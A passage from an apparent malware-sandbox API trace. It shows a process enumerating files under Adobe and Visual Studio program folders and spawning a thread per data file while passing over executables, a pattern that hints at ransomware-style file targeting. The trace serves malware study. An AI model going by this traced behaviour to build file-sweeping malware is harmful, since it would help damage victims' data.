cAlternateFileName="")) returned 1 [0122.426] wcscmp (_String1="..", _String2=".") returned 1 [0122.426] wcscmp (_String1="..", _String2="..") returned 0 [0122.426] FindNextFileW (in: hFindFile=0x1ced5740, lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ItemTemplates", cAlternateFileName="ITEMTE~1")) returned 1 [0122.426] wcscmp (_String1="ItemTemplates", _String2=".") returned 1 [0122.426] wcscmp (_String1="ItemTemplates", _String2="..") returned 1 [0122.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa0) returned 0x1cd65a20 [0122.426] wcscpy (in: _Dest=0x1cd65a20, _Source="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA" [0122.426] wcscat (in: _Dest=0x1cd65a20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\" [0122.426] wcscat (in: _Dest=0x1cd65a20, _Source="ItemTemplates" | out: _Dest="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates") returned="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates" [0127.635] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd65a20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe44 [0127.636] FindNextFileW (in: hFindFile=0x1ced5740, lpFindFileData=0x1cd98f70 | out: lpFindFileData=0x1cd98f70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f5dcf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f5dcf0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ItemTemplates", cAlternateFileName="ITEMTE~1")) returned 0 [0127.636] FindClose (in: hFindFile=0x1ced5740 | out: hFindFile=0x1ced5740) returned 1 [0127.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd98f70) returned 1 [0127.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050b3d0) returned 1 [0127.637] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a40b0) returned 1 Thread: id = 1552 os_tid = 0x1a94 [0121.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x18d0e0 [0121.064] wcscpy (in: _Dest=0x18d0e0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0" [0121.064] wcscat (in: _Dest=0x18d0e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\" [0121.064] wcscat (in: _Dest=0x18d0e0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\*" [0121.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd991e0 [0121.064] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\*", lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d5b0 [0121.064] wcscmp (_String1=".", _String2=".") returned 0 [0121.065] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.065] wcscmp (_String1="..", _String2=".") returned 1 [0121.065] wcscmp (_String1="..", _String2="..") returned 0 [0121.065] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x838958c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x52ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcrobatUpdater.exe", cAlternateFileName="ACROBA~1.EXE")) returned 1 [0121.065] wcscmp (_String1="AcrobatUpdater.exe", _String2=".") returned 1 [0121.065] wcscmp (_String1="AcrobatUpdater.exe", _String2="..") returned 1 [0121.065] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe39c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeARM.exe", cAlternateFileName="")) returned 1 [0121.065] wcscmp (_String1="AdobeARM.exe", _String2=".") returned 1 [0121.065] wcscmp (_String1="AdobeARM.exe", _String2="..") returned 1 [0121.065] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x113b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeExtractFiles.dll", cAlternateFileName="ADOBEE~1.DLL")) returned 1 [0121.065] wcscmp (_String1="AdobeExtractFiles.dll", _String2=".") returned 1 [0121.065] wcscmp (_String1="AdobeExtractFiles.dll", _String2="..") returned 1 [0121.065] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x52ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReaderUpdater.exe", cAlternateFileName="READER~1.EXE")) returned 1 [0121.065] wcscmp (_String1="ReaderUpdater.exe", _String2=".") returned 1 [0121.065] wcscmp (_String1="ReaderUpdater.exe", _String2="..") returned 1 [0121.065] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x52ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReaderUpdater.exe", cAlternateFileName="READER~1.EXE")) returned 0 [0121.065] FindClose (in: hFindFile=0x1cd9d5b0 | out: hFindFile=0x1cd9d5b0) returned 1 [0121.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd991e0) returned 1 [0121.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x18d0e0) returned 1 [0121.066] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9940) returned 1 Thread: id = 1553 os_tid = 0x1a98 [0121.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x20504010 [0121.071] wcscpy (in: _Dest=0x20504010, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0121.071] wcscat (in: _Dest=0x20504010, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0121.071] wcscat (in: _Dest=0x20504010, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\*") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\*" [0121.071] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd991e0 [0121.071] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\*", lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d5b0 [0121.072] wcscmp (_String1=".", _String2=".") returned 0 [0121.072] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81f24da0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81f24da0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.082] wcscmp (_String1="..", _String2=".") returned 1 [0121.082] wcscmp (_String1="..", _String2="..") returned 0 [0121.082] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfda0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroIEHelper.dll", cAlternateFileName="ACROIE~1.DLL")) returned 1 [0121.082] wcscmp (_String1="AcroIEHelper.dll", _String2=".") returned 1 [0121.082] wcscmp (_String1="AcroIEHelper.dll", _String2="..") returned 1 [0121.082] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xf3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroIEHelperShim.dll", cAlternateFileName="ACROIE~2.DLL")) returned 1 [0121.082] wcscmp (_String1="AcroIEHelperShim.dll", _String2=".") returned 1 [0121.082] wcscmp (_String1="AcroIEHelperShim.dll", _String2="..") returned 1 [0121.082] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d984a20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.CAT", cAlternateFileName="")) returned 1 [0121.082] wcscmp (_String1="AcroPDF.CAT", _String2=".") returned 1 [0121.082] wcscmp (_String1="AcroPDF.CAT", _String2="..") returned 1 [0121.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205c290 [0121.083] wcscpy (in: _Dest=0x4205c290, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0121.083] wcscat (in: _Dest=0x4205c290, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0121.083] wcscat (in: _Dest=0x4205c290, _Source="AcroPDF.CAT" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CAT") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CAT" [0127.346] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c290, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x80c [0127.362] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.CHS", cAlternateFileName="")) returned 1 [0127.362] wcscmp (_String1="AcroPDF.CHS", _String2=".") returned 1 [0127.362] wcscmp (_String1="AcroPDF.CHS", _String2="..") returned 1 [0127.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ade80 [0127.362] wcscpy (in: _Dest=0x1b7ade80, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.362] wcscat (in: _Dest=0x1b7ade80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.362] wcscat (in: _Dest=0x1b7ade80, _Source="AcroPDF.CHS" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHS") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHS" [0127.362] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ade80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9a8 [0127.364] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4bc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.CHT", cAlternateFileName="")) returned 1 [0127.364] wcscmp (_String1="AcroPDF.CHT", _String2=".") returned 1 [0127.364] wcscmp (_String1="AcroPDF.CHT", _String2="..") returned 1 [0127.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ad980 [0127.364] wcscpy (in: _Dest=0x1b7ad980, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.364] wcscat (in: _Dest=0x1b7ad980, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.364] wcscat (in: _Dest=0x1b7ad980, _Source="AcroPDF.CHT" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHT") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CHT" [0127.364] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad980, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac [0127.365] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.CZE", cAlternateFileName="")) returned 1 [0127.365] wcscmp (_String1="AcroPDF.CZE", _String2=".") returned 1 [0127.365] wcscmp (_String1="AcroPDF.CZE", _String2="..") returned 1 [0127.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7adca0 [0127.365] wcscpy (in: _Dest=0x1b7adca0, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.365] wcscat (in: _Dest=0x1b7adca0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.365] wcscat (in: _Dest=0x1b7adca0, _Source="AcroPDF.CZE" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CZE") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.CZE" [0127.365] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7adca0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9ac [0127.366] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.DAN", cAlternateFileName="")) returned 1 [0127.366] wcscmp (_String1="AcroPDF.DAN", _String2=".") returned 1 [0127.366] wcscmp (_String1="AcroPDF.DAN", _String2="..") returned 1 [0127.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ad660 [0127.367] wcscpy (in: _Dest=0x1b7ad660, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.367] wcscat (in: _Dest=0x1b7ad660, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.367] wcscat (in: _Dest=0x1b7ad660, _Source="AcroPDF.DAN" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DAN") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DAN" [0127.367] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b7ad660, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe8c [0127.368] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.DEU", cAlternateFileName="")) returned 1 [0127.368] wcscmp (_String1="AcroPDF.DEU", _String2=".") returned 1 [0127.368] wcscmp (_String1="AcroPDF.DEU", _String2="..") returned 1 [0127.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205c330 [0127.368] wcscpy (in: _Dest=0x4205c330, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.368] wcscat (in: _Dest=0x4205c330, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.368] wcscat (in: _Dest=0x4205c330, _Source="AcroPDF.DEU" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DEU") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.DEU" [0127.368] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c330, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9b8 [0127.369] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xab790, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.dll", cAlternateFileName="")) returned 1 [0127.369] wcscmp (_String1="AcroPDF.dll", _String2=".") returned 1 [0127.369] wcscmp (_String1="AcroPDF.dll", _String2="..") returned 1 [0127.369] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8ec4a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4c600, dwReserved0=0x0, dwReserved1=0x0, cFileName="AcroPDF.ESP", cAlternateFileName="")) returned 1 [0127.369] wcscmp (_String1="AcroPDF.ESP", _String2=".") returned 1 [0127.369] wcscmp (_String1="AcroPDF.ESP", _String2="..") returned 1 [0127.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205c510 [0127.370] wcscpy (in: _Dest=0x4205c510, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.370] wcscat (in: _Dest=0x4205c510, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.370] wcscat (in: _Dest=0x4205c510, _Source="AcroPDF.ESP" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ESP") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF.ESP" [0127.370] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4205c510, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c0 [0127.371] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, 